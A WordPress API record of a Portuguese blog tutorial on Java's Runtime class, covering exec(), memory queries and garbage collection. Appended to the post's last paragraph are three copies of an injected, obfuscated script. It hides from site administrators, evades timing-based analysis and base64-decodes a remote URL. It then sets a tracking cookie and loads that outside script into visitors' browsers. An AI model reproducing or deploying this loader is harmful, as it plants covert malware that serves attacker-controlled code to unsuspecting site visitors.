{"id":1447,"date":"2011-04-25T17:11:56","date_gmt":"2011-04-25T20:11:56","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=1447"},"modified":"2025-10-26T22:40:15","modified_gmt":"2025-10-27T01:40:15","slug":"classe-runtime","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2011\/04\/25\/classe-runtime\/","title":{"rendered":"Classe Runtime"},"content":{"rendered":"<p style=\"text-align: justify;\">A classe <a title=\"Runtime\" href=\"http:\/\/download.oracle.com\/javase\/6\/docs\/api\/java\/lang\/Runtime.html\" target=\"_blank\" rel=\"noopener\">Runtime<\/a> \u00e9 utilizada para se comunicar com o ambiente que a JVM est\u00e1 executando. Por exemplo: utilizamos ela para carregar DLLs (Windows) ou SOs (Linux), atrav\u00e9s do m\u00e9todo <em>load<\/em>. Cada aplica\u00e7\u00e3o Java possui uma \u00fanica inst\u00e2ncia e podemos obter essa inst\u00e2ncia atrav\u00e9s do m\u00e9todo est\u00e1tico <em>getRuntime()<\/em>. A seguir temos um exemplo de alguns m\u00e9todos bem bacanas dessa classe:<\/p>\n<pre class=\"brush: java; highlight: [15,41,46,47,48,52]; title: ; notranslate\" title=\"\">\npackage br.com.thiagovespa.system.utils;\n\nimport java.io.BufferedReader;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\n\npublic class SystemInfo {\n\n\tpublic static String execute(String command) {\n\t\tString s;\n\t\tStringBuilder result = new StringBuilder();\n\t\tBufferedReader stdInput = null;\n\n\t\ttry {\n\t\t\tProcess p = Runtime.getRuntime().exec(command);\n\t\t\tstdInput = new BufferedReader(new InputStreamReader(\n\t\t\t\t\tp.getInputStream()));\n\n\t\t\twhile ((s = stdInput.readLine()) != null) {\n\t\t\t\tresult.append(s).append(&quot;\\n&quot;);\n\t\t\t}\n\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\tif (stdInput != null) {\n\t\t\t\ttry {\n\t\t\t\t\tstdInput.close();\n\t\t\t\t} catch (IOException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn result.toString();\n\t}\n\n\tpublic static void main(String&#x5B;] args) {\n\t\tRuntime rt = Runtime.getRuntime();\n\n\t\tSystem.out.println(&quot;N\u00famero de processadores dispon\u00edveis: &quot;\n\t\t\t\t+ rt.availableProcessors() + &quot; \\n&quot;);\n\n\t\tSystem.out.println(execute(&quot;free&quot;));\n\n\t\tSystem.out.println(&quot;Mem\u00f3ria dispon\u00edvel na JVM antes do GC: &quot;\n\t\t\t\t+ rt.freeMemory() + &quot; bytes de &quot; + rt.totalMemory()\n\t\t\t\t+ &quot; bytes - M\u00e1ximo: &quot; + rt.maxMemory() + &quot; bytes&quot;);\n\t\trt.gc();\n\t\tSystem.out.println(&quot;Mem\u00f3ria dispon\u00edvel na JVM ap\u00f3s o GC: &quot;\n\t\t\t\t+ rt.freeMemory() + &quot; bytes de &quot; + rt.totalMemory()\n\t\t\t\t+ &quot; bytes - M\u00e1ximo: &quot; + rt.maxMemory() + &quot; bytes&quot;);\n\t\trt.exit(0);\n\n\t}\n\n}\n\n<\/pre>\n<p style=\"text-align: justify;\">Na linha 15 executamos um comando ou aplicativo externo. Para isso criei um m\u00e9todo a parte. O exec possui v\u00e1rias sobrecargas podendo ser executado passando par\u00e2metros, com vari\u00e1veis de ambiente, entre outros. Nesse exemplo, ele executa o comando free do linux, e armazeno em uma String para exibir a quantidade de mem\u00f3ria livre do sistema operacional. Esse mesmo c\u00f3digo pode ser utilizado para executar qualquer comando ou aplicativo externo \u00e0 uma aplica\u00e7\u00e3o Java. Existe a possibilidade de recuperar o stream de entrada, de sa\u00edda e de erro para poder manipular o comando\/aplicativo.<\/p>\n<p style=\"text-align: justify;\">Na linha 41, tem um m\u00e9todo interessante, que recupera a quantidade de processadores dispon\u00edvel para a m\u00e1quina virtual. Esse recurso pode ser \u00fatil\u00a0 no desenvolvimento de programas que executem c\u00f3digo paralelo. Nas linhas 46 e 47, consigo monitorar a quantidade de mem\u00f3ria livre, total e m\u00e1xima alocada no momento para a aplica\u00e7\u00e3o Java.<\/p>\n<p style=\"text-align: justify;\">A linha 48 \u00e9 respons\u00e1vel por solicitar \u00e0 JVM a execu\u00e7\u00e3o do Garbage Collector para libera\u00e7\u00e3o de mem\u00f3ria n\u00e3o referenciada. Pela especifica\u00e7\u00e3o essa execu\u00e7\u00e3o n\u00e3o \u00e9 garantida, ao chamar esse m\u00e9todo ele apenas sugere a execu\u00e7\u00e3o. Uma outra forma de se chamar \u00e9 pela classe System (System.gc()). Na linha 52 eu finalizo o programa com o c\u00f3digo 0 (sem erro). Essa chamada n\u00e3o \u00e9 necess\u00e1ria, mas ilustra um dos m\u00e9todos da classe Runtime.<\/p>\n<p style=\"text-align: justify;\">A sa\u00edda desse programa \u00e9 a seguinte:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\nN\u00famero de processadores dispon\u00edveis: 4\n\n             total       used       free     shared    buffers     cached\nMem:       8193120    6553088    1640032          0     554160    2031860\n-\/+ buffers\/cache:    3967068    4226052\nSwap:      8193144          0    8193144\n\nMem\u00f3ria dispon\u00edvel na JVM antes do GC: 124384688 bytes de 125698048 bytes - M\u00e1ximo: 1866006528 bytes\nMem\u00f3ria dispon\u00edvel na JVM ap\u00f3s o GC: 124902352 bytes de 125698048 bytes - M\u00e1ximo: 1866006528 bytes\n<\/pre>\n<p>Dessa maneira voc\u00ea pode ter um controle maior sobre sua aplica\u00e7\u00e3o e executar programas externos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>A classe Runtime \u00e9 utilizada para se comunicar com o ambiente que a JVM est\u00e1 executando. Por exemplo: utilizamos ela para carregar DLLs (Windows) ou SOs (Linux), atrav\u00e9s do m\u00e9todo load. Cada aplica\u00e7\u00e3o Java possui uma \u00fanica inst\u00e2ncia e podemos <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2011\/04\/25\/classe-runtime\/\">Continue lendo  <span class=\"screen-reader-text\">  Classe Runtime<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3,64],"tags":[],"class_list":["post-1447","post","type-post","status-publish","format-standard","hentry","category-java","category-linux"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/1447","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=1447"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/1447\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=1447"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=1447"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=1447"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}